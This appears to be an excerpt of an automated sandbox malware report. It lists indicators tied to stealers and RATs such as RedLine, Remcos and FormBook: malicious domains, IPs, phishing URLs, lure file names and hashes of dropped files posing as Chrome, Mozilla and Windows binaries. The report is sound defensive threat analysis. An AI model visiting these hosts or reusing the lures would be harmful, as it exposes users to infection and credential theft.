11:03:44	API Interceptor	673x Sleep call for process: RegSvcs.exe modified
11:03:46	API Interceptor	126x Sleep call for process: ieetwcollector.exe modified
11:03:46	API Interceptor	1x Sleep call for process: maintenanceservice.exe modified
11:03:49	API Interceptor	108x Sleep call for process: msiexec.exe modified
11:03:49	API Interceptor	527x Sleep call for process: msdtc.exe modified
11:03:53	API Interceptor	97x Sleep call for process: snmptrap.exe modified
11:03:57	API Interceptor	194x Sleep call for process: vds.exe modified
11:04:21	API Interceptor	211x Sleep call for process: wbengine.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
165.160.15.20	AsusSetup.exe	Get hash	malicious	Unknown	Browse	myups.biz/afgoll
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	myups.biz/euqwoqq
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/ewwexq
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/dspvlbvnqr
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/dkwdmdeuhpg
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	myups.biz/eqcq
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	myups.biz/lihflvfpneg
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	myups.biz/iyyrahcc
	KY9D34Qh8d.exe	Get hash	malicious	Unknown	Browse	dxglobal.co.kr/
	XZw2GNATrR.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.triciaaprimrosevp.com/xchu/?l8=4hfd&2dvlmF=FfQWrZf65Vop6YG1TmouR8u1gr6XUpPNH67i+hNxH0jghlNI2qurbIC5tjwZKbPxMdLE
3.254.94.185	AsusSetup.exe	Get hash	malicious	Unknown	Browse	ocsvqjg.biz/jw
	SetupRST.exe	Get hash	malicious	Unknown	Browse	ocsvqjg.biz/xrujxccjxeybqwu
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	ocsvqjg.biz/cly
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	brsua.biz/rmsexfnebpnpl
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	ocsvqjg.biz/plbdbgmplm
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/inbwfclciwgycy
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/flkouthsl
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	ocsvqjg.biz/whfwpsna
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	ocsvqjg.biz/aerkmi

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vjaxhpbji.biz	AsusSetup.exe	Get hash	malicious	Unknown	Browse	82.112.184.197
	SetupRST.exe	Get hash	malicious	Unknown	Browse	82.112.184.197
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	82.112.184.197
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	82.112.184.197
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	82.112.184.197
ytctnunms.biz	AsusSetup.exe	Get hash	malicious	Unknown	Browse	3.94.10.34
	SetupRST.exe	Get hash	malicious	Unknown	Browse	3.94.10.34
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	3.94.10.34
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	3.94.10.34
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	3.94.10.34
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	3.94.10.34
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	3.94.10.34
pywolwnvd.biz	AsusSetup.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	SetupRST.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	54.244.188.177
	ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	54.244.188.177
uaafd.biz	AsusSetup.exe	Get hash	malicious	Unknown	Browse	3.254.94.185
	SetupRST.exe	Get hash	malicious	Unknown	Browse	3.254.94.185
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	3.254.94.185
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	3.254.94.185
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	3.254.94.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://my.toruftuiov.com/a43a39c3-796e-468c-aae4-b83c862e0918	Get hash	malicious	Unknown	Browse	13.32.121.6
	Indocount Invoice Amendment.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	http://djaahaf.r.af.d.sendibt2.com	Get hash	malicious	Unknown	Browse	54.191.16.28
	Fattura (2).jar	Get hash	malicious	Unknown	Browse	3.77.161.152
	Fattura.jar	Get hash	malicious	Unknown	Browse	3.74.121.88
	Invoice Ref ++_Donuts.html	Get hash	malicious	Unknown	Browse	18.239.83.19
	Fattura.jar	Get hash	malicious	Unknown	Browse	3.124.154.255
	Fattura (2).jar	Get hash	malicious	Unknown	Browse	3.74.121.88
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.238.243.129
AMAZON-AESUS	http://djaahaf.r.af.d.sendibt2.com	Get hash	malicious	Unknown	Browse	3.94.218.138
	Uschamber-TimeSheet Reports.pdf	Get hash	malicious	Unknown	Browse	54.227.187.23
	https://pub.lucidpress.com/50f1c535-8058-4eec-b469-2bd69fae4557/	Get hash	malicious	Unknown	Browse	35.171.222.254
	http://3d1.gmobb.jp/dcm299ccyag4e/gov/	Get hash	malicious	Phisher	Browse	107.20.167.149
	Order SO311180.exe	Get hash	malicious	FormBook	Browse	52.20.84.62
	https://invite.bublup.com/q6fU7gLtMrfS	Get hash	malicious	HTMLPhisher	Browse	52.87.50.66
	Swift payment confirmation.exe	Get hash	malicious	DBatLoader, FormBook	Browse	3.5.29.82
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	52.20.47.208
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	34.236.71.145
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	54.205.46.242
CSCUS	AsusSetup.exe	Get hash	malicious	Unknown	Browse	165.160.15.20
	SetupRST.exe	Get hash	malicious	Unknown	Browse	165.160.13.20
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	165.160.15.20
	arm.elf	Get hash	malicious	Unknown	Browse	128.114.186.151
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	165.160.13.20
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	165.160.13.20
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	165.160.15.20
AMAZON-02US	https://my.toruftuiov.com/a43a39c3-796e-468c-aae4-b83c862e0918	Get hash	malicious	Unknown	Browse	13.32.121.6
	Indocount Invoice Amendment.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	http://djaahaf.r.af.d.sendibt2.com	Get hash	malicious	Unknown	Browse	54.191.16.28
	Fattura (2).jar	Get hash	malicious	Unknown	Browse	3.77.161.152
	Fattura.jar	Get hash	malicious	Unknown	Browse	3.74.121.88
	Invoice Ref ++_Donuts.html	Get hash	malicious	Unknown	Browse	18.239.83.19
	Fattura.jar	Get hash	malicious	Unknown	Browse	3.124.154.255
	Fattura (2).jar	Get hash	malicious	Unknown	Browse	3.74.121.88
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.238.243.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	A & C Metrology OC 545714677889Materiale.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	188.114.97.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO.2407010.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.97.3
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.97.3
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3
	0001.xls	Get hash	malicious	Remcos	Browse	188.114.97.3
36f7277af969a6947a61ae0b815907a1	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mnobizxv.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1396736
Entropy (8bit):	4.946541274270074
Encrypted:	false
SSDEEP:	24576:mxGBcTlQGJ0eeQ2yPyzc+E7xonyVGc/dT5N:eGyhnJLeQVPyzc+E7xQ2l
MD5:	15B606B644D221A802F3BA61E94117C5
SHA1:	3EE8FE6B4EB630A43C53E112C309B18D914553AD
SHA-256:	910CCBFF2093D8CA32AE23989E2267B7D6F494122CDFBCA0B6BB47288444CE73
SHA-512:	BD3E107AEC929DD7112CCEA7C77A8342246F415E8E301817168E212826D855B3C4B9E2FD2F332928517C4E86064C67B437DE7954E7BD24758C5963DF3C608B2E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...V.+d..........................................@................................."J......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...............`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2294272
Entropy (8bit):	7.034697725294993
Encrypted:	false
SSDEEP:	49152:g3wR2xs4r4VMm9QRzzFbju+Gb2PJsWT12OJLeQVPyzc+E7xQ2l:j24dQRzgOJ2O1vcbE7xQ2l
MD5:	31D83AB908E6B3DE73A5BD9266A4782D
SHA1:	BD8818B5F007A41416B2A5D61C0FF6D1B9C5584D
SHA-256:	61FA19C2423EB55F1C325F092F4E8E6F1FCA515153FC08C2741ED2B9FF038E7F
SHA-512:	73660C4CB5CADA658767798FEFFD3985E93E10B188F248695F581A86C21CC1B53F25EB446B08254F608FEDD7BDD044E7B9009C4D5B8D50F0E6A922B13D474294
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...w..c.........."..........F.................@.............................P$.......#... ..........................................U..Z...rU.......0..........D....................C.......................B..(.......8............]...............................text............................... ..`.rdata...5.......6..................@..@.data........0......................@....pdata..D...........................@..@.00cfg..(...........................@..@.gxfg....).......*..................@..@.retplnel................................tls................................@....voltbl.F..............................._RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......P......................@...........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\logAD9E.tmp

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2257
Entropy (8bit):	4.574646680658393
Encrypted:	false
SSDEEP:	48:mHAfECJTkRK1mtKiJqLXJkqI6v3BqMdJ/Jd2enyD:wAfECJTkFKiJqLWk3oMdJ/Jd25
MD5:	F39DBD2946034C065D2E560FE4ED6BAC
SHA1:	B0FA999C3C2EDA0FFEDEBCB60F25A1965B1DD9CE
SHA-256:	BEAE30D4E7E25EFFB24E1B2EEA0593489FF5C1A815C8CF673249E055F54FA497
SHA-512:	CB62DDC4CB456B6DFF4B3EBE4C50DBEEA47C8A127C0DE1250E2EA41C1EAACAFB2CB47B9E605A69B9FC6F83839CB00CE4EA86F08CE133638BABCE408A44D728D5
Malicious:	false
Reputation:	low
Preview:	Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...Disabled unneeded token privilege: SeAuditPrivilege...Disabled unneeded token privilege: SeBackupPrivilege...Disabled unneeded token privilege: SeCreateGlobalPrivilege...Disabled unneeded token privilege: SeCreatePagefilePrivilege...Disabled unneeded token privilege: SeCreatePermanentPrivilege...Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..Disabled unneeded token privilege: SeDebugPrivilege...Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..Disabled unneeded token privilege: SeImpersonatePrivilege...Disabled unneeded token privilege: SeIncreaseBasePriorityPrivilege...Disabled unneeded token privilege: SeIncreaseQuotaPrivilege...Disabled unneeded token privilege: SeIncreaseWorkingSetPrivilege...Disabled unneeded token privilege: SeLoadDriverPrivilege...Disabled unneeded token privilege: SeLockMemory

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log (copy)

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2257
Entropy (8bit):	4.574646680658393
Encrypted:	false
SSDEEP:	48:mHAfECJTkRK1mtKiJqLXJkqI6v3BqMdJ/Jd2enyD:wAfECJTkFKiJqLWk3oMdJ/Jd25
MD5:	F39DBD2946034C065D2E560FE4ED6BAC
SHA1:	B0FA999C3C2EDA0FFEDEBCB60F25A1965B1DD9CE
SHA-256:	BEAE30D4E7E25EFFB24E1B2EEA0593489FF5C1A815C8CF673249E055F54FA497
SHA-512:	CB62DDC4CB456B6DFF4B3EBE4C50DBEEA47C8A127C0DE1250E2EA41C1EAACAFB2CB47B9E605A69B9FC6F83839CB00CE4EA86F08CE133638BABCE408A44D728D5
Malicious:	false
Reputation:	low
Preview:	Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...Disabled unneeded token privilege: SeAuditPrivilege...Disabled unneeded token privilege: SeBackupPrivilege...Disabled unneeded token privilege: SeCreateGlobalPrivilege...Disabled unneeded token privilege: SeCreatePagefilePrivilege...Disabled unneeded token privilege: SeCreatePermanentPrivilege...Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..Disabled unneeded token privilege: SeDebugPrivilege...Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..Disabled unneeded token privilege: SeImpersonatePrivilege...Disabled unneeded token privilege: SeIncreaseBasePriorityPrivilege...Disabled unneeded token privilege: SeIncreaseQuotaPrivilege...Disabled unneeded token privilege: SeIncreaseWorkingSetPrivilege...Disabled unneeded token privilege: SeLoadDriverPrivilege...Disabled unneeded token privilege: SeLockMemory

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1399808
Entropy (8bit):	4.986029988387487
Encrypted:	false
SSDEEP:	24576:iwLZrVaGJ0eeQ2yPyzc+E7xonyVGc/dT5N:/9r3JLeQVPyzc+E7xQ2l
MD5:	9779F284BC74A9DC36AEA1BB73E099DA
SHA1:	FDD3BFBDD9B27197D71AD603EDC397FDC256C480
SHA-256:	B2A3B63E3FA2F2D174448FD7E9AFE551332850A30A15EF214E8009E46C23B00C
SHA-512:	CE26231E0DA085923B978C928E8B8C1E527D0113A3291A249C8CF1BDA3235EA34ED34F779145D04F4D37C91FB6141E6D7D33EB7CF03EA7634AE3B5C5809860C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8...Y...Y...Y.......Y......cY.......Y..u.H..Y.......Y.......Y.......Y.......Y...Y..ZY..~....Y..y.p..Y..~....Y..Rich.Y..................PE..L...aw.X.........."..................O............@.................................Y.......................................L[.......................................P..T...........................hP..@............................................text............................... ..`.rdata..............................@..@.data...P....p.......X..............@....gfids...............b..............@..@.rsrc................d..............@..@.reloc...............l..............@...........................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1403904
Entropy (8bit):	4.956447736452653
Encrypted:	false
SSDEEP:	24576:UQGXlGJ0eeQ2yPyzc+E7xonyVGc/dT5N:NJLeQVPyzc+E7xQ2l
MD5:	411CA55D4030A8E34A22A24600C8AB9C
SHA1:	6449A1318D2713A93F1C0A04DC6A97E57436FAEF
SHA-256:	4E22079294843F2D166D4EB2B6D29D54CA264B6E0C0E366B7897F4D0B2584D3A
SHA-512:	3D9BE40F6F9042090C34B2F551A07D778DC7F1A4B68D9B8D4B6BC26ED9C936DCFA0CEF5FBFCCDF726CB2D60B37A76A87E589FF114C012C85D838CCFDDF7D095A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.<...o...o...o...o...o...o...o...oF..o.o.o...o.o.o...o.o.o...o.o.o...o.o.o...oRich...o........................PE..d...OUIK..........".................hC.........@.....................................G.......................................................=..........0...........................`...8............................................................................text............................... ..`.rdata...e.......f..................@..@.data....9...p.......V..............@....pdata...............l..............@..@.rsrc...0...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2106368
Entropy (8bit):	6.885639247882221
Encrypted:	false
SSDEEP:	49152:FMgVRWpdnrUuxD1O8uJLeQVPyzc+E7xQ2l:FXRWXrUuU1vcbE7xQ2l
MD5:	CE91122F6C48761FA1E0A0679C6E7367
SHA1:	2B397D6E7BB2C3BA323006212146914DC631A9E3
SHA-256:	1F3613A39546AB65E575553C9A0C4737F765F8BCCAE6787C8FF6D1BD744A8886
SHA-512:	77150ACEC881F5C52B91216FD41A4B1645E20D9587364B6671BEF4EA9A7E4630E32DE3ABB6031F91BDEC1D8603934089DE7B8FCAC5A525FECF830CE773DC1D4C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..S%..S%..S%..t..F%..Z]..P%..Z]n.B%..Z]y.J%..S%..$..Z]i.F%..Z]`.'%..Z]~.R%..Z]{.R%..RichS%..........................PE..d......L.........."........................................................... .....`.!.............. ......................................8........P.............................0...........................................$....................................text...`........................... ..`.data...p~... ...4..................@....pdata...............:..............@..@.rsrc.......P...,..................@..@.reloc... ..........................@...U..L.......L.......L.......L....7..L.......L.......L....0..L....,..L....Q..L....%..L.......L.......L.......L.......L....0..L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.msvcrt.dll.USER32.dll.OLEAUT32.dll.ole32.dll.WSOCK32.dll.ws2_32.DLL.IPHLPAPI.DLL.SHLWAPI.dll.USERENV.dll.WTSAPI32.dl

C:\Users\user\AppData\Local\Temp\Dunlop

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.842539454813147
Encrypted:	false
SSDEEP:	1536:6QLYmevQgz1pX7F0ErDLSYVevPV8wLSEbIADrok/9E0u0vZYzs7Rx0zNNqn+5VgG:6Qkn4g3X7F0ErDLSYVevPV8wLSEbIADY
MD5:	EB8A7FDCDA00136DC4AA969621D2BECD
SHA1:	1CA17EF79BAED26B616CDE1775C8BC73A13FD6FB
SHA-256:	BF5C1A6F29C6D57D819A601AC90699E442200F7851D788AD4D8B194D9A6BD822
SHA-512:	35B3D9062744C7A77A9DAB6916D74E74B6AA0FCCBA3CC3AACCEC46B40233E2EA1649ED5DEA5120BA5F35E74DAA4AE3D9EFF7FC0B52D8173EE1E6ED0AD7E7B0ED
Malicious:	false
Preview:	.o.UH6W1\9XF..YH.PIF258U.6W1X9XFEWYHXPIF258UK6W1X9XFEWYHXPIF.58UE).?X.Q.d.X..q..[F.%9Y0C9Tx%$97',p+#.GM;k_9..v.f(8=-v]DL.58UK6W1.\|XF.VZH.j<.258UK6W1.9ZGNV.HX4HF2=8UK6W1V.YFEwYHX.HF25xUK.W1X;XFAWYHXPIF658UK6W1X.YFEUYHXPIF05x.K6G1X)XFEWIHX@IF258U[6W1X9XFEWYH..HFy58UK.V1.<XFEWYHXPIF258UK6W1X.YFIWYHXPIF258UK6W1X9XFEWYHXPIF258UK6W1X9XFEWYHXPIF258UK.W1P9XFEWYHXPIF:.8U.6W1X9XFEWYHv$,>F58U_TV1X.XFE3XHXRIF258UK6W1X9XFeWY(v":4Q58U.3W1X.YFEQYHX6HF258UK6W1X9XF.WY.v",]V8UG6W1X.YFEUYHX<HF258UK6W1X9XF.WY.XPIF258UK6W1X9XF..XHXPIFz58UI6R1@.XF..YH[PIFh58S+.W1.9XFEWYHXPIF258UK6W1X9XFEWYHXPIF258UK6W1X9XF..G../A..UK6W1X8ZEAQQ@XPIF258U56W1.9XF.WYHoPIF.58U&6W1\|9XF;WYH&PIFV58U96W199XF.WYH7PIF\58U56W1F;pYEWSb~PKn.58_K..By9XL.VYH\#kF2?.WK6SB{9XL.TYH\#mF2?.QK6SB}9XL.RYH\z.F1..SK6L^`9XLET.]^PI]..8Wc.W1R9r`ET.]^PI]..8W.?W1\..5XWYNp.IF8A1UK4.;X9\l[Uq.XPCl.K+UK2\|1r.&REW]cXzk8'58Q`6}.&/XFA\|Ybz.^F21.Ua0}SXK.JE'Z'9PI@..8UA..1X?Xl.W'FXPMD].8UA.}.X..FEQY`.PI@2.kUK0W..9X@E..HXVIl.5..K6Q1phXFCWs.X.zF21.R5.W1\.N8tWYL.V1F

C:\Users\user\AppData\Roaming\6b019fa68ff011e5.bin

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.982076680552138
Encrypted:	false
SSDEEP:	192:s5LT22FzfW47Sx8HAkPhqjkLPrQwBa5AlrBeMc2BnxRWy9UGLq2UvrkbIHbEZBy+:4Tn1eZrkPX8Ol1RBnxOs1UvR6E+5x
MD5:	B1C61DB7351A03C9F1E3AD5A1ACC2B36
SHA1:	4405A1538FB45432FA0021D2281FFFA6AF414762
SHA-256:	726878F7514162EBA3BF230CFEB0165CF19495D4C1C8D697F6B2CEF76CEEF1AC
SHA-512:	50015410F8624D73C758F0C7FD498A48C013AEE34516231DD80484137EE65DA18AB65A4C63B7A0AA9E8A99462D2BC0896080B6D46C6C20F77DA9F0293D205EAF
Malicious:	false
